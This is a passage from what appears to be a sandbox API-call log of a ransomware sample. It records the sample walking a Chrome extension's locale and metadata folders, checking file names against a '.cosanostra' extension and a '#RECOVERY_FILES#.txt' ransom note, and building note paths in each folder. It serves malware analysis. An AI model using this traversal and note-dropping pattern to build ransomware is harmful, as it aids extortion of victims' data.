(lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sl\\#RECOVERY_FILES#.txt") returned 162 [0087.047] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr") returned 141 [0087.047] lstrcmpW (lpString1="sr", lpString2=".") returned 1 [0087.047] lstrcmpW (lpString1="sr", lpString2="..") returned 1 [0087.047] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*") returned 143 [0087.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.047] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\.") returned 143 [0087.047] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.047] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\..") returned 144 [0087.047] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.047] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.047] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 155 [0087.047] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.047] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.047] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.047] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\messages.json") returned 155 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\#RECOVERY_FILES#.txt") returned 162 [0087.048] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sr\\#RECOVERY_FILES#.txt") returned 162 [0087.048] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th") returned 141 [0087.048] lstrcmpW (lpString1="th", lpString2=".") returned 1 [0087.048] lstrcmpW (lpString1="th", lpString2="..") returned 1 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*") returned 143 [0087.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\.") returned 143 [0087.048] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\..") returned 144 [0087.048] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.048] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 155 [0087.048] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.048] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.048] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.048] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\messages.json") returned 155 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\#RECOVERY_FILES#.txt") returned 162 [0087.048] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\th\\#RECOVERY_FILES#.txt") returned 162 [0087.048] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr") returned 141 [0087.048] lstrcmpW (lpString1="tr", lpString2=".") returned 1 [0087.048] lstrcmpW (lpString1="tr", lpString2="..") returned 1 [0087.048] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*") returned 143 [0087.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.049] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\.") returned 143 [0087.049] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.049] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\..") returned 144 [0087.049] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.049] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.049] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 155 [0087.049] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.049] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.049] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.049] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 155 [0087.049] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\#RECOVERY_FILES#.txt") returned 162 [0087.049] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\#RECOVERY_FILES#.txt") returned 162 [0087.049] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk") returned 141 [0087.049] lstrcmpW (lpString1="uk", lpString2=".") returned 1 [0087.049] lstrcmpW (lpString1="uk", lpString2="..") returned 1 [0087.049] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*") returned 143 [0087.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.050] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\.") returned 143 [0087.050] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.050] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\..") returned 144 [0087.050] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.050] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.050] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 155 [0087.050] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.050] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.050] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.050] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 155 [0087.050] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\#RECOVERY_FILES#.txt") returned 162 [0087.050] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\#RECOVERY_FILES#.txt") returned 162 [0087.050] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi") returned 141 [0087.050] lstrcmpW (lpString1="vi", lpString2=".") returned 1 [0087.050] lstrcmpW (lpString1="vi", lpString2="..") returned 1 [0087.050] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*") returned 143 [0087.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\.") returned 143 [0087.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\..") returned 144 [0087.051] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.051] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 155 [0087.051] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.051] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.051] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.051] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\messages.json") returned 155 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\#RECOVERY_FILES#.txt") returned 162 [0087.051] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\vi\\#RECOVERY_FILES#.txt") returned 162 [0087.051] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned 144 [0087.051] lstrcmpW (lpString1="zh_CN", lpString2=".") returned 1 [0087.051] lstrcmpW (lpString1="zh_CN", lpString2="..") returned 1 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*") returned 146 [0087.051] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\.") returned 146 [0087.051] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.051] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\..") returned 147 [0087.052] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.052] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 158 [0087.052] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.052] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.052] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.052] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\messages.json") returned 158 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\#RECOVERY_FILES#.txt") returned 165 [0087.052] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\#RECOVERY_FILES#.txt") returned 165 [0087.052] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned 144 [0087.052] lstrcmpW (lpString1="zh_TW", lpString2=".") returned 1 [0087.052] lstrcmpW (lpString1="zh_TW", lpString2="..") returned 1 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*") returned 146 [0087.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2cfcb68 | out: lpFindFileData=0x2cfcb68) returned 0x25aa70 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\.") returned 146 [0087.052] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\..") returned 147 [0087.052] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.052] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.052] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 158 [0087.052] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0087.052] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.052] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0087.052] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\messages.json") returned 158 [0087.053] wnsprintfW (in: pszDest=0x2fe00d8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\#RECOVERY_FILES#.txt") returned 165 [0087.053] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\#RECOVERY_FILES#.txt") returned 165 [0087.053] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\#RECOVERY_FILES#.txt") returned 159 [0087.053] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\#RECOVERY_FILES#.txt") returned 159 [0087.054] wnsprintfW (in: pszDest=0x30379e0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata") returned 139 [0087.054] lstrcmpW (lpString1="_metadata", lpString2=".") returned 1 [0087.054] lstrcmpW (lpString1="_metadata", lpString2="..") returned 1 [0087.054] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*") returned 141 [0087.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\*", lpFindFileData=0x2cfcf08 | out: lpFindFileData=0x2cfcf08) returned 0x25aa30 [0087.055] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\.") returned 141 [0087.056] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.056] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\..") returned 142 [0087.056] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.056] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.056] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 162 [0087.056] StrStrIW (lpFirst="verified_contents.json", lpSrch=".cosanostra") returned 0x0 [0087.056] lstrcmpW (lpString1="verified_contents.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0087.056] lstrcmpW (lpString1="verified_contents.json", lpString2="_uninstalling_.png") returned 1 [0087.056] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json") returned 162 [0087.056] wnsprintfW (in: pszDest=0x3047a28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 